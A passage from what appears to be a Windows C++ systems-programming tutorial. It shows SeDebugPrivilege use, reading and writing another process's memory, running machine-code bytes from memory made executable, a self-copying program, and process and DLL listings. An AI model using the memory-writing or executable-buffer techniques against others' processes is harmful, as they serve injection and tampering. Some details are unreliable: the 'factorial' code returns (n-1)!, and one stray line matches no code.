     std::printf("Error - unable to open process Token. => Check GetLastError() error code. \n");
     std::abort();
   }

   setPrivilege( hToken, "SeDebugPrivilege" , enable);
   std::printf(" [INFO] Enable debug privilege Ok. \n");
}

void show_process_cli(DWORD pid)
{
    HANDLE hProc = OpenProcess( PROCESS_QUERY_INFORMATION  | PROCESS_VM_READ, FALSE, pid);

    if( hProc == nullptr )
    {
      std::fprintf(stderr, "Error: unable to open process");
      std::exit(-1);
    }


    // Check whether proces is wow64 (32 bits)
    BOOL is_wow64;
    IsWow64Process( hProc, &is_wow64);
    std::printf(" [*] Is Wow64 (32 bits) process = %s \n", is_wow64 == TRUE ? "TRUE" : "FALSE" );

    // Check whether current process is 32 bits (wow64)
    HANDLE hThisProc = GetCurrentProcess();
    IsWow64Process( hThisProc, &is_wow64);
    std::printf(" [*] Is this process Wow64 (32 bits) process = %s \n", is_wow64 == TRUE ? "TRUE" : "FALSE" );    

    // Load function native function NtQueryInformationProcess from Ntdll.dll
    //-----------------------------------------
    HMODULE hnd = LoadLibraryA("Ntdll.dll");
    assert( hnd != nullptr );
    FARPROC hnd_fun =  GetProcAddress(hnd, "NtQueryInformationProcess");
    assert( hnd_fun != nullptr );
    auto func_NtQueryInformationProcess = reinterpret_cast<NtQueryInformationProcess_t>(hnd_fun);

    PROCESS_BASIC_INFORMATION pinfo;
    DWORD pinfo_size = sizeof(PROCESS_BASIC_INFORMATION);
    DWORD needed = 0;
    NTSTATUS result = func_NtQueryInformationProcess(  hProc
                                                     , ProcessBasicInformation
                                                     , &pinfo
                                                     , pinfo_size
                                                     , &needed
                                                     );

    assert( result >= 0 && "NtQuery failed." );

    DWORD res = 0;
    // PEB - Process Environment Block data structure.    
    _PEB peb;
    // Proces parameter - field of PEB.
    RTL_USER_PROCESS_PARAMETERS param;


    // Read PEB from target process' memory.    
    res = ReadProcessMemory( hProc
                          , pinfo.PebBaseAddress
                          , &peb
                          , sizeof(_PEB)
                          , nullptr
                          );
    assert( res != 0 );

    // Read RTL_USER_PROCESS_PARAMETERS from process' memory.
    res = ReadProcessMemory( hProc
                           , peb.ProcessParameters 
                           , &param
                           , sizeof(param)
                           , nullptr
                           );
    assert( res != 0 );

    auto cmdline = param.CommandLine;
    auto buffer = std::wstring(cmdline.Length, 0);

    res = ReadProcessMemory( hProc, cmdline.Buffer, buffer.data(), cmdline.Length, nullptr);
    assert( res != 0 );

    std::printf("\n [*] Process base name = %s ", process_basename(hProc).c_str()  );
    std::printf("\n [*] Process full path = %s \n", process_full_path(hProc).c_str() );        
    std::printf(" [*] Unique process ID (PID)  = %d \n", pinfo.UniqueProcessId );
    std::printf(" [*] Parent process ID (PPID) = %d \n", pinfo.InheritedFromUniqueProcessId );
    std::printf(" [*] Process PEB address      = 0x%X \n", pinfo.PebBaseAddress  );

    // Display process command line arguments 
    std::wcout << L"\n Cmdline = " << buffer << L"\n";    

    // Dispose library handle
    FreeLibrary( hnd );
}

Building

Building target.exe:

$ g++ target.cpp -o target.exe -std=c++1z -Wall -Wextra -g -O3

Building memdump.exe:

$ g++ memdump.cpp -o memdump.exe -std=c++1z -Wall -Wextra -g -pedantic-errors -lpsapi

Experiment 1 => Obtain process full command line arguments

STEP 1 - List all processes with tasklist.

$ tasklist

Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
  ...   ...   ...   ...   ...   ...   ...   ...   ...   ...   ... 
  ...   ...   ...   ...   ...   ...   ...   ...   ...   ...   ... 

LockApp.exe                   7632 Console                    1      8,456 K
RuntimeBroker.exe             2024 Console                    1      3,372 K
dllhost.exe                   1244 Console                    1      3,220 K
svchost.exe                   7096 Services                   0      1,548 K
svchost.exe                   6528 Services                   0      1,000 K
YourPhone.exe                 5376 Console                    1     12,340 K
RuntimeBroker.exe             2168 Console                    1      2,672 K
svchost.exe                   1416 Services                   0      4,120 K
dllhost.exe                    684 Console                    1        860 K
DataExchangeHost.exe          8012 Console                    1        672 K
svchost.exe                   1992 Services                   0      2,356 K
SecurityHealthHost.exe        3880 Console                    1        616 K
SearchUI.exe                  5136 Console                    1     98,284 K
RuntimeBroker.exe             6352 Console                    1     11,000 K
smartscreen.exe               5716 Console                    1     17,440 K
MicrosoftEdge.exe             1412 Console                    1        540 K
browser_broker.exe            7924 Console                    1        392 K
Windows.WARP.JITService.e     7508 Services                   0        348 K
MicrosoftEdgeSH.exe           2324 Console                    1        208 K
MicrosoftEdgeCP.exe           5080 Console                    1        476 K
Windows.WARP.JITService.e     3472 Services                   0        340 K
svchost.exe                   1336 Services                   0      3,064 K
svchost.exe                   8424 Services                   0      7,484 K
  ....   ....   ....   ....   ....   ....   ....   ....   ....   .... 
  ....   ....   ....   ....   ....   ....   ....   ....   ....   .... 
  ....   ....   ....   ....   ....   ....   ....   ....   ....   .... 

STEP 2 - Show process information. Note: This procedure requires running a terminal with elevated privilege.

$ .\memdump.exe cli 1992
 [INFO] Enable debug privilege Ok.
 [*] Is Wow64 (32 bits) process = FALSE
 [*] Is this process Wow64 (32 bits) process = FALSE

 [*] Process base name = svchost.exe
 [*] Process full path = C:\Windows\System32\svchost.exe
 [*] Unique process ID (PID)  = 1992
 [*] Parent process ID (PPID) = 628
 [*] Process PEB address      = 0x244F2000

 Cmdline = C:\Windows\system32\svchost.exe -k netsvcs -p -s lfsvc

$ .\memdump.exe cli 5080
 [INFO] Enable debug privilege Ok.
 [*] Is Wow64 (32 bits) process = FALSE
 [*] Is this process Wow64 (32 bits) process = FALSE

 [*] Process base name = MicrosoftEdgeCP.exe
 [*] Process full path = C:\Windows\System32\MicrosoftEdgeCP.exe
 [*] Unique process ID (PID)  = 5080
 [*] Parent process ID (PPID) = 828
 [*] Process PEB address      = 0x88D6000

 Cmdline = "C:\Windows\System32\MicrosoftEdgeCP.exe" -ServerName:Windows.Internal.WebRuntime.ContentProcessServer

$ .\memdump.exe cli 1208
 [INFO] Enable debug privilege Ok.
 [*] Is Wow64 (32 bits) process = TRUE
 [*] Is this process Wow64 (32 bits) process = FALSE

 [*] Process base name = OneDrive.exe
 [*] Process full path = C:\Users\unix\AppData\Local\Microsoft\OneDrive\OneDrive.exe
 [*] Unique process ID (PID)  = 1208
 [*] Parent process ID (PPID) = 4220
 [*] Process PEB address      = 0x68D000

 Cmdline =  /updateInstalled /background


$ .\memdump.exe cli 5376
 [INFO] Enable debug privilege Ok.
 [*] Is Wow64 (32 bits) process = FALSE
 [*] Is this process Wow64 (32 bits) process = FALSE

 [*] Process base name = YourPhone.exe
 [*] Process full path = C:\Program Files\WindowsApps\Microsoft.YourPhone_1.21042.137.0_x64__8wekyb3d8bbwe\YourPhone.exe
 [*] Unique process ID (PID)  = 5376
 [*] Parent process ID (PPID) = 828
 [*] Process PEB address      = 0xD05D8000

 Cmdline = "C:\Program Files\WindowsApps\Microsoft.YourPhone_1.21042.137.0_x64__8wekyb3d8bbwe\YourPhone.exe" -ServerName:App.AppX9yct9q388jvt4h7y0gn06smzkxcsnt8m.mca

Experiment 2 - Manipulate target process virtula memory

STEP 1 => Run target.exe executable.

C:\Users\unix\Desktop>.\target.exe
 [*]          Number = 300
 [*]        cppstr   = Hallo Welt
 [*] Global buffer   = Strcpy is an unsafe C function! BE AWARE!
 [*]     Current process PID = 1536
 [*]          Number address = 000000000063fdec
 [*]        cppstr address   = 000000000063fe00
 [*] Global buffer address   = 000000000040c040

 =>> Type RETURN to resume execution

 [*]          Number = 98164
 [*]        cppstr   = Windows NT
 [*] Global buffer   = Replace strcpy with strncpy! NOWBE AWARE!

 =>> Type RETURN to resume execution

STEP 2 => Run the following commands from another terminal.

## ========= Read process memory ================//

$ .\memdump.exe read-num 1536 0x63fdec
 [INFO] Enable debug privilege Ok.
 [*] Number value = 300

$ .\memdump.exe read-str 1536 0x63fe00 20
 [INFO] Enable debug privilege Ok.
 Buffer value = Hallo Welt
 Address      = 63fe00

$ .\memdump.exe read-str 1536 0x40c040 50
 [INFO] Enable debug privilege Ok.
 Buffer value = Strcpy is an unsafe C function! BE AWARE!
 Address      = 40c040

## ========= Write to process memory ================//

$ .\memdump.exe write-num 1536 0x63fdec 98164
 [INFO] Enable debug privilege Ok.
 [*] Number value = 98164


$ .\memdump.exe write-str 1536 0x63fe00 "Windows NT"
 [INFO] Enable debug privilege Ok.
 Buffer value = Windows NT
 Address      = 63fe00

$ .\memdump.exe write-str 1536 0x40c040 "Replace strcpy with strncpy! NOW"
 [INFO] Enable debug privilege Ok.
 Buffer value = Replace strcpy with strncpy! NOW
 Address      = 40c040

1.19 Running machine code at runtime

This code uses the windows APIs VirtuaAlloc, for allocating memory for the machine code payload which is copied to the allocated memory, and VirtualProtect for making the allocated memory executable allowing the machine code to be run. This technique is used by JIT compilers from interpreted languages, such as C# or Java, for speeding up computations and reduce the byte code interpretation overhead.

Documentation:

  • VirtualAlloc()
    • "Reserves, commits, or changes the state of a region of pages in the virtual address space of the calling process. Memory allocated by this function is automatically initialized to zero."
  • VirtualProtect()
    • "Changes the protection on a region of committed pages in the virtual address space of the calling process. To change the access protection of any process, use the VirtualProtectEx function."
  • VirtualFree()
    • Brief: "Releases, decommits, or releases and decommits a region of pages within the virtual address space of the calling process.To free memory allocated in another process by the VirtualAllocEx function, use the VirtualFreeEx function."

Sample code

File: winmmap.cpp

#include <iostream>
#include <string> 
#include <vector>
#include <cassert>
#include <cstring> // std::memcpy() 

#include <windows.h>

void* load_machine_code(const std::uint8_t* buffer, size_t size)
{
    void* pmap = VirtualAlloc( // lpAddress
                                nullptr                        
                               // dwSize - Size of memory to be allocated.
                              , size 
                               // 
                              , MEM_COMMIT | MEM_RESERVE
                                // Memory is writeable, readable, but not executable.       
                              , PAGE_READWRITE 
                             );
    assert( pmap != nullptr && "Allocation failed." );
    // Copy machine code to allocated memory
    std::memcpy(pmap, buffer, size);
    // Set memory permission to executable.
    BOOL result = FALSE;
    // Sto9res previous memory protection flags.
    DWORD prev_protection = 0;
    //  Set the allocated memory only as readable and executable (code is data!)
    // ,but not writeable.
    result = VirtualProtect(  pmap, size, PAGE_EXECUTE_READ , &prev_protection );
    assert( result == TRUE && "Failed to change memory protection flags." );
    return pmap;
}


/** 
    0000000000401550 <factorial>:
    401550:       55                      push   rbp
    401551:       48 89 e5                mov    rbp,rsp
    401554:       48 83 ec 10             sub    rsp,0x10
    401558:       89 4d 10                mov    DWORD PTR [rbp+0x10],ecx
    40155b:       c7 45 fc 01 00 00 00    mov    DWORD PTR [rbp-0x4],0x1
    401562:       c7 45 f8 01 00 00 00    mov    DWORD PTR [rbp-0x8],0x1
    401569:       eb 0e                   jmp    401579 <factorial+0x29>
    40156b:       8b 45 fc                mov    eax,DWORD PTR [rbp-0x4]
    40156e:       0f af 45 f8             imul   eax,DWORD PTR [rbp-0x8]
    401572:       89 45 fc                mov    DWORD PTR [rbp-0x4],eax
    401575:       83 45 f8 01             add    DWORD PTR [rbp-0x8],0x1
    401579:       8b 45 f8                mov    eax,DWORD PTR [rbp-0x8]
    40157c:       3b 45 10                cmp    eax,DWORD PTR [rbp+0x10]
    40157f:       7c ea                   jl     40156b <factorial+0x1b>
    401581:       8b 45 fc                mov    eax,DWORD PTR [rbp-0x4]
    401584:       48 83 c4 10             add    rsp,0x10
    401588:       5d                      pop    rbp
    401589:       c3                      ret
 */
std::uint8_t asm_factorialA[] = {
      0x55                      
     ,0x48, 0x89, 0xe5                
     ,0x48, 0x83, 0xec, 0x10             
     ,0x89, 0x4d, 0x10                
     ,0xc7, 0x45, 0xfc, 0x01, 0x00, 0x00, 0x00    
     ,0xc7, 0x45, 0xf8, 0x01, 0x00, 0x00, 0x00    
     ,0xeb, 0x0e                   
     ,0x8b, 0x45, 0xfc                
     ,0x0f, 0xaf, 0x45, 0xf8             
     ,0x89, 0x45, 0xfc                
     ,0x83, 0x45, 0xf8, 0x01             
     ,0x8b, 0x45, 0xf8                
     ,0x3b, 0x45, 0x10                
     ,0x7c, 0xea                   
     ,0x8b, 0x45, 0xfc                
     ,0x48, 0x83, 0xc4, 0x10             
     ,0x5d
     ,0xc3
};


// Same as asm_factorialA but encoded as hexadecimal.
std::uint8_t asm_factorialB[] = "\x55\x48\x89\xe5\x48\x83\xec\x10\x89\x4d\x10\xc7"
                               "\x45\xfc\x01\x00\x00\x00\xc7\x45\xf8\x01\x00\x00"
                               "\x00\xeb\x0e\x8b\x45\xfc\x0f\xaf\x45\xf8\x89\x45"
                               "\xfc\x83\x45\xf8\x01\x8b\x45\xf8\x3b\x45\x10\x7c"
                               "\xea\x8b\x45\xfc\x48\x83\xc4\x10\x5d\xc3"
                              ;

int main()
{


  auto data_size = std::size(asm_factorialA);
  std::printf(" Data size in bytes = %d \n", data_size);


  // Function pointer alias.
  using funptr_factorial = int (*) (int n);

  auto factorialA = (funptr_factorial) load_machine_code( asm_factorialA
                                                        , std::size(asm_factorialA));

  std::printf(" [*] Factorial(4)(A) = %d  \n", factorialA(4));  
  std::printf(" [*] Factorial(5)(A) = %d  \n", factorialA(5));
  std::printf(" [*] Factorial(6)(A) = %d  \n", factorialA(6));
  std::printf(" [*] Factorial(7)(A) = %d  \n", factorialA(7));  
  std::printf(" [*] Factorial(8)(A) = %d  \n", factorialA(8));


  auto factorialB = (funptr_factorial) load_machine_code( asm_factorialB
                                                        , std::size(asm_factorialB));

  std::printf(" [*] Factorial(4)(B) = %d  \n", factorialB(4));  
  std::printf(" [*] Factorial(5)(B) = %d  \n", factorialB(5));
  std::printf(" [*] Factorial(6)(B) = %d  \n", factorialB(6));
  std::printf(" [*] Factorial(7)(B) = %d  \n", factorialB(7));  
  std::printf(" [*] Factorial(8)(B) = %d  \n", factorialB(8));

  std::printf("\n ====== Finish Execution Ok. [ PART 1 ] =======\n");
  return 0;
}

Building and running

$ g++ winmmap.cpp -o winmmap.exe -std=c++1z -Wall -Wextra -g

$ .\winmmap.exe
 Data size in bytes = 58
 [*] Factorial(4)(A) = 6
 [*] Factorial(5)(A) = 24
 [*] Factorial(6)(A) = 120
 [*] Factorial(7)(A) = 720
 [*] Factorial(8)(A) = 5040
 [*] Factorial(4)(B) = 6
 [*] Factorial(5)(B) = 24
 [*] Factorial(6)(B) = 120
 [*] Factorial(7)(B) = 720
 [*] Factorial(8)(B) = 5040

# Display message box containing 'Hast la vista' text.

1.20 CODE - Display information about current process

Print information about current process and copy itself to desktop directory.

File: file:src/windows/currentProcess.cpp

Files

#include <iostream>
#include <string>
#include <cassert>

#include <windows.h>

// Return true if program was launched by clicking on it, 
// return false if this program was launched from command line.
auto isInOwnConsole() -> bool {
      DWORD procIDs[2];
      DWORD maxCount = 2;
      DWORD result = GetConsoleProcessList((LPDWORD)procIDs, maxCount);
      return result != 1;
}

auto ExecutablePath = [](int pid){
      HANDLE hProc = OpenProcess( PROCESS_QUERY_INFORMATION
                                                              | PROCESS_VM_READ, FALSE, pid );
      // Get process file path 
      std::string process_path(MAX_PATH, 0);
      DWORD size = MAX_PATH; 
      QueryFullProcessImageNameA(hProc, 0, &process_path[0], &size);
      process_path.resize(size);    
      CloseHandle(hProc);
      return process_path;
};

auto CurrentDirectory = []{
      DWORD size = ::GetCurrentDirectory(0, nullptr);
      assert(size != 0);
      std::string path(size + 1, 0x00);
      size = ::GetCurrentDirectory(path.size(), &path[0]);
      path.resize(size);
      return path;
};  

int main()
{
      // Get current process ID 
      DWORD    pid   = GetCurrentProcessId();
      // Return module handle of current process 
      HMODULE  hProc = GetModuleHandleA(nullptr);
      // Get process module
      std::cout << "=========== Current Process Info ========"  << std::endl;
      std::cout << "PID              = "   << pid                 << std::endl;
      std::cout << "hProc            = 0x" << hProc               << std::endl;
      std::cout << "Executable path  = "   << ExecutablePath(pid) << std::endl;
      std::cout << "Current path     = "   << CurrentDirectory()  << std::endl;

      // Copy itself to Desktop
      CopyFile(ExecutablePath(pid).c_str(), "C:\\Users\\archbox\\Desktop\\appinfo.exe", false) ;

      // Stop program from exiting if it was launched by clicking on it.
      if(!isInOwnConsole()){
              std::cout << "\n ==> Type RETURN to exit." << std::endl;
              std::cin.get();
      } 
      return EXIT_SUCCESS;
}

Building

Compile: MSVC

$ cl.exe currentProcess.cpp /EHsc /Zi /nologo /Fe:currentProcess.exe && currentProcess.exe

Running on console (from cmd.exe or cmder terminal):

$ currentProcess.exe 
=========== Current Process Info ========
PID              = 5712
hProc            = 0x00007FF65D890000
Executable path  = C:\Users\archbox\Desktop\experiments\currentProcess.exe
Current path     = c:\Users\archbox\Desktop\experiments

Running program by clicking on it:

  • If program checks whether it was launched by click, it waits for the user to type RETURN before terminating.
=========== Current Process Info ========
PID              = 6916
hProc            = 0x00007FF72C300000
Executable path  = C:\Users\archbox\Desktop\experiments\currentProcess.exe
Current path     = C:\Users\archbox\Desktop\experiments

 ==> Type RETURN to exit.

Code:

  • Function: isInOwnConsole - returns true if program was launched by click. Returns false if it was launched from any type console such as cmd.exe or cmder.
// Return true if program was launched by clicking on it, 
// return false if this program was launched from command line.
auto isInOwnConsole() -> bool {
     DWORD procIDs[2];
     DWORD maxCount = 2;
     DWORD result = GetConsoleProcessList((LPDWORD)procIDs, maxCount);
     return result != 1;
}
  • Lambda function ExecutablePath - Returns the path of some process executable given its PID (Process ID).
auto ExecutablePath = [](int pid){
     HANDLE hProc = OpenProcess( PROCESS_QUERY_INFORMATION
                                | PROCESS_VM_READ, FALSE, pid );
     // Get process file path 
     std::string process_path(MAX_PATH, 0);
     DWORD size = MAX_PATH; 
     QueryFullProcessImageNameA(hProc, 0, &process_path[0], &size);
     process_path.resize(size); 
     CloseHandle(hProc);
     return process_path;
};
  • Lambda function CurrentDirectory - returns current directory.
auto CurrentDirectory = []{
     DWORD size = ::GetCurrentDirectory(0, nullptr);
     assert(size != 0);
     std::string path(size + 1, 0x00);
     size = ::GetCurrentDirectory(path.size(), &path[0]);
     path.resize(size);
     return path;
};
  • Main function:
// Get current process ID 
DWORD    pid   = GetCurrentProcessId();
// Return module handle of current process 
HMODULE  hProc = GetModuleHandleA(nullptr);
// Get process module
std::cout << "=========== Current Process Info ========"  << std::endl;
std::cout << "PID              = " << pid                 << std::endl;
std::cout << "hProc            = 0x" << hProc             << std::endl;
std::cout << "Executable path  = " << ExecutablePath(pid) << std::endl;
std::cout << "Current path     = " << CurrentDirectory()  << std::endl;

// Copy itself to Desktop
CopyFile(ExecutablePath(pid).c_str(), "C:\\Users\\archbox\\Desktop\\appinfo.exe", false) ;

// Stop program from exiting if it was launched by clicking on it.
if(!isInOwnConsole()){
        std::cout << "\n ==> Type RETURN to exit." << std::endl;
        std::cin.get();
}   
return EXIT_SUCCESS;

1.21 CODE - List processes

This code prints to stdout (console) and to a file the list of running processes in current machine:

Source:

FIle: showProcesses.cpp

#include <iostream>
#include <string>
#include <sstream>
#include <fstream>

// Windows Headers 
#include <windows.h>
#include <tlhelp32.h>

auto showProcessInfo(std::ostream& os) -> int;

int main()
{
   // Log file 
   auto plog = std::ofstream("process-log.txt");
   // Print all processes to stdout. 
   showProcessInfo(std::cout);
   // Write all processes to file 
   showProcessInfo(plog);
   // Flush buffer - force data to be written to file.
   plog.flush();

   std::cout << "\n ==> Type return to exit." << std::endl;
   std::cin.get();
  return 0;
}

//=======================///

// Show all processes in current machine 
auto showProcessInfo(std::ostream& os) -> int 
{
     // Get snapshot with process listing.
     HANDLE hProcessSnapShot =
       CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);  
     // Instnatiate process' entry structure.
     PROCESSENTRY32 ProcessEntry = { 0 };
     ProcessEntry.dwSize = sizeof( ProcessEntry );
     BOOL Return = FALSE;
     Return = Process32First( hProcessSnapShot, &ProcessEntry );
     // Returns -1 if process failed 
     if(!Return ) {  return -1;}
     do { // print process' data
         os << "EXE File     = " << ProcessEntry.szExeFile      << "\n"
            << "PID          = " << ProcessEntry.th32ProcessID  << "\n"
            << "References   = " << ProcessEntry.cntUsage       << "\n"
            << "Thread Count = " << ProcessEntry.cntThreads     << "\n"  
            << "-----------------------------------------------\n";
       }
     while( Process32Next( hProcessSnapShot, &ProcessEntry ));
     // Close handle releasing resource.
     CloseHandle( hProcessSnapShot );
     return 1;
}

Analysis

Parts:

  • Function which prints all processes to any output stream:
// Show all processes in current machine
auto showProcessInfo(std::ostream& os) -> int {
  // Get snapshot with process listing.
  HANDLE hProcessSnapShot =
    CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);  
  // Instnatiate process' entry structure.
  PROCESSENTRY32 ProcessEntry = { 0 };
  ProcessEntry.dwSize = sizeof( ProcessEntry );
  BOOL Return = FALSE;
  Return = Process32First( hProcessSnapShot, &ProcessEntry );
  // Returns -1 if process failed 
  if(!Return ) {  return -1;}
  do { // print process' data
      os << "EXE File     = " << ProcessEntry.szExeFile      << "\n"
         << "PID          = " << ProcessEntry.th32ProcessID  << "\n"
         << "References   = " << ProcessEntry.cntUsage       << "\n"
         << "Thread Count = " << ProcessEntry.cntThreads     << "\n"  
         << "-----------------------------------------------\n";
  } while( Process32Next( hProcessSnapShot, &ProcessEntry ));
  // Close handle releasing resource.
  CloseHandle( hProcessSnapShot );
  return 1;
}

  • Main function:
// Log file 
auto plog = std::ofstream("process-log.txt");
// Print all processes to stdout. 
showProcessInfo(std::cout);
// Write all processes to file 
showProcessInfo(plog);
// Flush buffer - force data to be written to file.
plog.flush();

std::cout << "\n ==> Type return to exit." << std::endl;
std::cin.get();
return 0;
  • Compiling and running:
# Build 
$ cl.exe showProcesses.cpp /EHsc /Zi /nologo /Fe:showProcesses.exe  

# Run: 
$ showProcesses 
# Run 
$ showProcesses.exe 
  • Output:
   $ showProcesses.exe
  ... ... ... ... 
-----------------------------------------------
EXE File     = Registry
PID          = 68
References   = 0
Thread Count = 3
-----------------------------------------------
EXE File     = smss.exe
PID          = 308
References   = 0
Thread Count = 2
-----------------------------------------------
EXE File     = csrss.exe
PID          = 412
References   = 0
Thread Count = 10
-----------------------------------------------
EXE File     = wininit.exe
PID          = 484
References   = 0
Thread Count = 1
-----------------------------------------------
  ... ... ... 

API DOCS:

1.22 CODE - Show all DLLs or modules load by a process

This example program shows all modules, aka DLLs (Dynamic Linked Libraries) loaded by some process given its PID.

#include <iostream>
#include <string> 
#include <iomanip>
#include <functional>

//- Windows Headers ---
#include <windows.h>
#include <psapi.h>

// RAAI for managing Handler 
template<class HANDLER>
class ResourceHandler
{
public:
        using Disposer = std::function<void (HANDLER)>;
        ResourceHandler(HANDLER hnd, Disposer disposer)
                : m_hnd(hnd), m_fndisp(disposer)
        {  }
        auto get() -> HANDLER {
                return m_hnd;
        }
        ~ResourceHandler(){
                m_fndisp(m_hnd);
        }
        // Disable copy-constructor and copy-assignment operator 
        ResourceHandler(const ResourceHandler&) = delete;
        auto operator= (const ResourceHandler&) -> ResourceHandler& = delete;
        // Move member functios
        ResourceHandler(ResourceHandler&& rhs)
                : m_hnd(rhs.m_hnd),
                  m_fndisp(rhs.m_fndisp){ }
        auto operator= (ResourceHandler&& rhs){
                std::swap(this->m_hnd, rhs.m_hnd);
                this->m_fndisp = rhs->m_fndisp;     
        }
private:
        HANDLER m_hnd;
        Disposer m_fndisp;
};

auto utf8_encode(const std::wstring& wstr) -> std::string;
auto utf8_decode(const std::string&  str) -> std::wstring;

namespace WProcess{
        using ModuleConsumer = std::function<auto (HMODULE, const std::string&) -> void>;   
        auto GetName(HANDLE hProc) -> std::string;
        auto GetExecutablePath(HANDLE hProc) -> std::string;
        auto ForEachModule(HANDLE hProc, ModuleConsumer FunIterator) -> void;
}


int main(int argc, char **argv){  
  if(argc < 2){
    std::cerr << "Error: missing Process ID <PID>.";
    return EXIT_FAILURE;
  }

  DWORD pid;
  DWORD  flags = PROCESS_QUERY_INFORMATION | PROCESS_VM_READ;

  try{
          pid  = std::stoi(argv[1]);
  } catch(const std::invalid_argument& ex){
          std::cerr << "Error invalid PID" << std::endl;
          return EXIT_FAILURE;
  }  

  auto hProc = ResourceHandler<HANDLE>{
          ::OpenProcess(flags, FALSE, pid),
          ::CloseHandle
  };

  if(hProc.get() == nullptr){
          std::cerr << "Error: process of pid = <" << pid << "> not found." << std::endl;
          return EXIT_FAILURE;
  }

  std::cout << "Process base name = "
                        << WProcess::GetName(hProc.get())
                        << std::endl; 
  std::cout << "Process path      = "
                        << WProcess::GetExecutablePath(hProc.get())
                        << std::endl;

  std::cout << std::endl;

  // Print all DLLs used by some process 
  WProcess::ForEachModule(
          hProc.get(),
          [](HMODULE hmod, const std::string& path) -> void
          {
                  std::cout << std::setw(10) << hmod
                                        << std::setw(5)  << " "
                                        << std::left     << std::setw(45) << path
                                        << "\n";                    
          }
          );

  return EXIT_SUCCESS;
}
// ================= End of Main =================//

auto utf8_encode(const std::wstring &wstr) -> std::string
{
    int size_needed = WideCharToMultiByte(
            CP_UTF8, 0, &wstr[0],
            (int)wstr.size(), NULL, 0, NULL, NULL);
    std::string strTo(size_needed, 0);
    WideCharToMultiByte(
            CP_UTF8, 0, &wstr[0],
            (int)wstr.size(), &strTo[0], size_needed, NULL, NULL);
    return strTo;
}

auto utf8_decode(const std::string &str) -> std::wstring
{
     int size_needed = MultiByteToWideChar(
             CP_UTF8, 0,
             &str[0], (int)str.size(), NULL, 0);
     std::wstring wstrTo(size_needed, 0);
     MultiByteToWideChar(
             CP_UTF8, 0, &str[0],
             (int) str.size(), &wstrTo[0], size_needed);
     return wstrTo;
}


namespace WProcess{
        using ModuleConsumer = std::function<auto (HMODULE, const std::string&) -> void>;

        auto GetName(HANDLE hProc) -> std::string {
                std::wstring basename(MAX_PATH, 0);
                int n1 = ::GetModuleBaseNameW(hProc, NULL, &basename[0], MAX_PATH);
                basename.resize(n1);
                return utf8_encode(basename);
        }
        auto GetExecutablePath(HANDLE hProc) -> std::string {
                std::wstring path(MAX_PATH, 0);
                int n2 = ::GetModuleFileNameExW(hProc, NULL, &path[0], MAX_PATH);
                path.resize(n2);
                return utf8_encode(path);
        }
        auto ForEachModule(HANDLE hProc, ModuleConsumer FunIterator) -> void {
                HMODULE hMods[1024];
                DWORD   cbNeeded;
                if (::EnumProcessModules(hProc, hMods, sizeof(hMods), &cbNeeded)){
                        int n = cbNeeded / sizeof(HMODULE);
                        std::wstring path(MAX_PATH, 0);
                        for(int i = 0; i < n; i++){
                                DWORD nread = ::GetModuleFileNameExW(hProc, hMods[i], &path[0], MAX_PATH);
                                path.resize(nread);     
                                if(nread) FunIterator(hMods[i], utf8_encode(path));
                        }
                }   
        }

} // --- End of namespace WProcess ---- //

Building

Compile with MSVC (cl.exe)

$ cl.exe showModulesDLL.cpp /EHsc /Zi /nologo /Fe:showModulesDLL.exe 

Compile with MingW/GCC:

$ g++ showModulesDLL.cpp -o showModulesDLL.exe -std=c++14 -lpsapi 

Running:

  • List PID of all processes
# Get PID of all processes 
$ tasklist 
  ... ... ... ... ... ... ... ... ... ... ... ... 
svchost.exe                     88 Services                   0      5,920 K
dllhost.exe                   4572 Console                    1      9,520 K
notepad.exe                   5272 Console                    1     14,048 K
vctip.exe                     3564 Console                    1     10,920 K
svchost.exe                   1112 Services                   0      5,572 K
svchost.exe                   2996 Services                   0      7,140 K
SearchProtocolHost.exe        5636 Services                   0     11,964 K
SearchFilterHost.exe          1832 Services                   0      6,104 K
mspdbsrv.exe                  3416 Console                    1      5,888 K
... ... ... ... ... ... ... ... ... ... ... ... ... ... 
  • Show DLLs loaded by process dllhost.exe (PID 4572)
$ showModulesDLL.exe 4572
Process base name = DllHost.exe
Process path      = C:\Windows\System32\dllhost.exe

00007FF734720000     C:\WINDOWS\system32\DllHost.exe
00007FFBFA8C0000     C:\WINDOWS\SYSTEM32\ntdll.dll
00007FFBF98C0000     C:\WINDOWS\System32\KERNEL32.
00007FFBF78C0000     C:\WINDOWS\System32\KERNELBASE.d
00007FFBF6C90000     C:\WINDOWS\System32\ucrtbase.dll
00007FFBF7EE0000     C:\WINDOWS\System32\combase.dll
... ... ... ...   ... ... ... ...   ... ... ... ... 
00007FFBEDBA0000     C:\WINDOWS\SYSTEM32\iertutil.
00007FFBF65C0000     C:\WINDOWS\SYSTEM32\CRYPTBASE.DL

Parts:

  • Class ResourceHandler<HANDLER> is a RAII (Resource Aquisition Is Initialization) for any generic resource which may not be a pointer such as an integer for a file descriptor.
template<class HANDLER>
class ResourceHandler
{
public:
    using Disposer = std::function<void (HANDLER)>;
    ResourceHandler(HANDLER hnd, Disposer disposer)
       : m_hnd(hnd), m_fndisp(disposer)
    {  }
    auto get() -> HANDLER {
       return m_hnd;
    }
    ~ResourceHandler(){
       m_fndisp(m_hnd);
    }
    // Disable copy-constructor and copy-assignment operator 
    ResourceHandler(const ResourceHandler&) = delete;
    auto operator= (const ResourceHandler&) -> ResourceHandler& = delete;
    // Move member functios
    ResourceHandler(ResourceHandler&& rhs)
     : m_hnd(rhs.m_hnd),
       m_fndisp(rhs.m_fndisp){ }
    auto operator= (ResourceHandler&& rhs){
        std::swap(this->m_hnd, rhs.m_hnd);
        this->m_fndisp = rhs->m_fndisp;     
    }
private:
    HANDLER m_hnd;
    Disposer m_fndisp;
};

Namespace WProcess contains functions for querying processes:

namespace WProcess{
     using ModuleConsumer = std::function<auto (HMODULE, const std::string&) -> void>;  
     auto GetName(HANDLE hProc) -> std::string;
     auto GetExecutablePath(HANDLE hProc) -> std::string;
     auto ForEachModule(HANDLE hProc, ModuleConsumer FunIterator) -> void;
}

Main function

  • Get PID (Process ID) as program argument.
DWORD pid;
DWORD  flags = PROCESS_QUERY_INFORMATION | PROCESS_VM_READ;

try{
    pid  = std::stoi(argv[1]);
} catch(const std::invalid_argument& ex){
    std::cerr << "Error invalid PID" << std::endl;
    return EXIT_FAILURE;
}  

// Automatically closes this handle when it goes out of scope.
auto hProc = ResourceHandler<HANDLE>{
    ::OpenProcess(flags, FALSE, pid),
